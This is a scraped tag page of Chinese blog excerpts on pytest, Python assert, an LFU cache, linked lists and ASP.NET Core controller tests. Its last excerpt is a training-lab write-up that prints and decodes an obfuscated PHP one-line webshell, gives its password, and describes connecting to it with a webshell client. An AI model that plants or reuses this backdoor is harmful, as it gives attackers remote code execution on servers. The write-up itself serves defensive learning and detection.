assert

pytest框架之fixture详细使用

匿名 (未验证) 提交于 2019-12-02 23:05:13
本人之前写了一套基于unnitest框架的UI自动化框架,但是发现了pytest框架之后觉得unnitest太low,现在重头开始学pytest框架,一边学习一边记录,和大家分享,话不多说,那就先从pytest框架的精髓fixture说起吧! 简介:   fixture区别于unnitest的传统单元测试(setup/teardown)有显著改进:   1.有独立的命名,并通过声明它们从测试函数、模块、类或整个项目中的使用来激活。   2.按模块化的方式实现,每个fixture都可以互相调用。   3.fixture的范围从简单的单元测试到复杂的功能测试,可以对fixture配置参数,或者跨函数function,类class,模块module或整个测试session范围。 (很重要!!!)(很重要!!!)(很重要!!!) 谨记:当我们使用pytest框架写case的时候,一定要拿它的命令规范去case,这样框架才能识别到哪些case需要执行,哪些不需要执行。 用例设计原则 文件名以test_*.py文件和*_test.py 以test_开头的函数 以Test开头的类 以test_开头的方法 fixture可以当做参数传入 定义fixture跟定义普通函数差不多,唯一区别就是在函数上加个装饰器@pytest.fixture(),fixture命名不要以test开头,跟用例区分开

python单元测试pytest

匿名 (未验证) 提交于 2019-12-02 22:56:40
1、pytest简介 pytest是 Python 的一种单元框架,与python自带的unittest测试框架类似,但是比unittest框架使用起来更简洁,效率更高。 执行测试过程中可以将某些测试跳过,或者对某些预期失败的case标记成失败 能够支持简单的单元测试和复杂的功能测试 支持重复执行失败的case 支持运行由nose, unittest编写的测试case 具有很多第三方插件,并且可以自定义扩展 方便的和持续集成工具集成 支持参数化 2、安装pytest pip install pytest 3、举例 (1)单测试case 执行测试的时候,我们只需要在测试文件test_sample所在的目录下,运行py.test即可。pytest会在当前目录及其子目录下寻找以test开头的py文件或者以test结尾的py文件(即测试文件),找到测试文件之后,进入到测试文件中寻找test_开头的测试函数并执行。 在当前目录下新建文件 test_champ.py def func(x): return x + 1 def test_answer(): assert func(3)==5 在命令行输入py.test [-q],加上-q(quiet)输出结果会省去pytest版本信息,便可以看到执行的成功与失败的原因了 (2)多测试case 当需要编写多个测试样例的时候

python assert 断言方法

匿名 (未验证) 提交于 2019-12-02 22:51:30
assertEqual(a,b,[msg='测试失败时打印的信息']): 断言a和b是否相等,相等则测试用例通过。 assertNotEqual(a,b,[msg='测试失败时打印的信息']): 断言a和b是否相等,不相等则测试用例通过。 assertTrue(x,[msg='测试失败时打印的信息']): 断言x是否True,是True则测试用例通过。 assertFalse(x,[msg='测试失败时打印的信息']): 断言x是否False,是False则测试用例通过。 assertIs(a,b,[msg='测试失败时打印的信息']): 断言a是否是b,是则测试用例通过。 assertNotIs(a,b,[msg='测试失败时打印的信息']): 断言a是否是b,不是则测试用例通过。 assertIsNone(x,[msg='测试失败时打印的信息']): 断言x是否None,是None则测试用例通过。 assertIsNotNone(x,[msg='测试失败时打印的信息']): 断言x是否None,不是None则测试用例通过。 assertIn(a,b,[msg='测试失败时打印的信息']): 断言a是否在b中,在b中则测试用例通过。 assertNotIn(a,b,[msg='测试失败时打印的信息']): 断言a是否在b中,不在b中则测试用例通过。

assert(断言)

匿名 (未验证) 提交于 2019-12-02 22:51:30
Python assert(断言)用于判断一个表达式,在表达式条件为 false 的时候触发异常。 语法格式: assert expression 等价于: if not expression : raise AssertionError 例子: >>> assert True # 条件为 true 正常执行 >>> assert False # 条件为 false 触发异常 Traceback ( most recent call last ): File "<stdin>" , line 1 , in <module> AssertionError >>> assert 1 == 1 # 条件为 true 正常执行 >>> assert 1 == 2 # 条件为 false 触发异常 Traceback ( most recent call last ): File "<stdin>" , line 1 , in <module> AssertionError >>> assert 1 == 2 , '1 不等于 2' Traceback ( most recent call last ): File "<stdin>" , line 1 , in <module> AssertionError : 1 不等于 2 >>> 来源:博客园 作者: 皮克皮克 链接:https:/

Python测试框架:pytest

匿名 (未验证) 提交于 2019-12-02 22:51:30
全功能Python测试框架:pytest 摘自: https://www.jianshu.com/p/932a4d9f78f8 image.png pytest是一个非常成熟的全功能的Python测试框架,主要有以下几个特点: 简单灵活,容易上手 支持参数化 能够支持简单的单元测试和复杂的功能测试,还可以用来做selenium/appnium等自动化测试、接口自动化测试(pytest+requests) pytest具有很多第三方插件,并且可以自定义扩展,比较好用的如pytest-selenium(集成selenium)、pytest-html(完美html测试报告生成)、pytest-rerunfailures(失败case重复执行)、pytest-xdist(多CPU分发)等 测试用例的skip和xfail处理 可以很好的和jenkins集成 report框架----allure 也支持了pytest 安装pytest: pip install -U pytest 验证安装的版本: pytest --version 几个pytest documentation中的例子: 例子1: import pytest # content of test_sample.py def func(x): return x + 1 def test_answer(): assert func(3

LFU(最近最不常用)实现(python)

匿名 (未验证) 提交于 2019-12-02 22:51:30
from collections import defaultdict, OrderedDict class Node: __slots__ = 'key', 'val', 'cnt' def __init__(self, key, val, cnt=0): self.key, self.val, self.cnt = key, val, cnt class LFUCache: def __init__(self, capacity): self.capacity = capacity self.cache = {} # type {key: node} self.cnt2node = defaultdict(OrderedDict) self.mincnt = 0 def get(self, key, default=-1): if key not in self.cache: return default node = self.cache[key] del self.cnt2node[node.cnt][key] if not self.cnt2node[node.cnt]: del self.cnt2node[node.cnt] node.cnt += 1 self.cnt2node[node.cnt][key] = node if not self.cnt2node

junit assert in thread throws exception

China☆狼群 提交于 2019-12-02 22:27:20
What am I doing wrong that an exception is thrown instead of showing a failure, or should I not have assertions inside threads? @Test public void testComplex() throws InterruptedException { int loops = 10; for (int i = 0; i < loops; i++) { final int j = i; new Thread() { @Override public void run() { ApiProxy.setEnvironmentForCurrentThread(env);//ignore this new CounterFactory().getCounter("test").increment();//ignore this too int count2 = new CounterFactory().getCounter("test").getCount();//ignore assertEquals(j, count2);//here be exceptions thrown. this is line 75 } }.start(); } Thread.sleep

python 实现单链表

匿名 (未验证) 提交于 2019-12-02 22:11:45
# -*- coding:utf-8 -*- class Node ( object ): def __init__ ( self , value = None , next = None ): self . value = value self . next = next class LinkedList ( object ): def __init__ ( self , maxsize = None ): self . maxsize = maxsize self . root = Node () # 定义一个根节点 self . length = 0 self . tailnode = None def __len__ ( self ): return self . length # 调用的时候 len(self) = self.length def append ( self , value ): # 实现尾插法 if self . maxsize is not None and len ( self ) > self . maxsize : # self.length = len(self) raise Exception ( 'Full' ) node = Node ( value ) # 定义一个新节点 tailnode = self . tailnode #

测试 ASP.NET Core API Controller

匿名 (未验证) 提交于 2019-12-02 22:10:10
本文需要您了解ASP.NET Core MVC/Web API, xUnit以及Moq相关知识. 这里有xUnit和Moq的介绍: https://www.cnblogs.com/cgzl/p/9178672.html#test Controllers可以说是ASP.NET Core MVC/Web API项目的核心, 它们把整个应用都整合到了一起. 可以说Controllers是非常重要的, 所以我们应该对它们做一些测试. 由于我几乎只做API, 所以本文不包括关于MVC功能的测试, 只包括Controller的API相关功能. 测试一个简单的Controller 先举一个简单点的例子: 这个Controller相对简单, 它有一个依赖项. 它一个方法, 返回类型是IActionResult, 又具体分为两种情况. 测试返回结果的类型 首先需要new出来一个被测试的RootController, 标准的叫法叫 System Under Test(被测试系统) . 它需要一个urlHelper作为依赖项, 那就 Mock 一个即可. 每组测试数据都会走一遍构造函数的 . 该测试方法使用的是 Theory , 用了4组数据. 执行方法后返回的结果类型应该实现了IActionResult接口, 这里可以用 Assert.IsAssignableFrom<TExpected>

WebShell代码分析溯源(二)

白昼怎懂夜的黑 提交于 2019-12-02 22:03:32
WebShell代码分析溯源(二) 一、一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 二、代码分析 1、调整代码格式 2、分析代码,首先先把”assert”字符串复制给POST数组,然后又把POST数组array数组,调试代码,搭建php环境(这里使用phpstudy)    3、发现结果输出为assert    4、这样最终一句话变形马就变成这样: <?php assert($_POST['assert']);?>,密码是assert 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第2题)),地址: https://www.mozhe.cn/bug/detail/bFBlRkJteit1TlBLaEZMQWVPM0ZjZz09bW96aGUmozhe 2、代码环境,下载代码    3、找到webshell代码处,然后分析(上面有已经分析过了)    4、使用菜刀连接    四、后记 学习常用webshell扫描检测查杀工具---D盾,网址: http://www.d99net.net/ 1、 使用D盾进行webshell查杀    来源: https://www.cnblogs.com/yuzly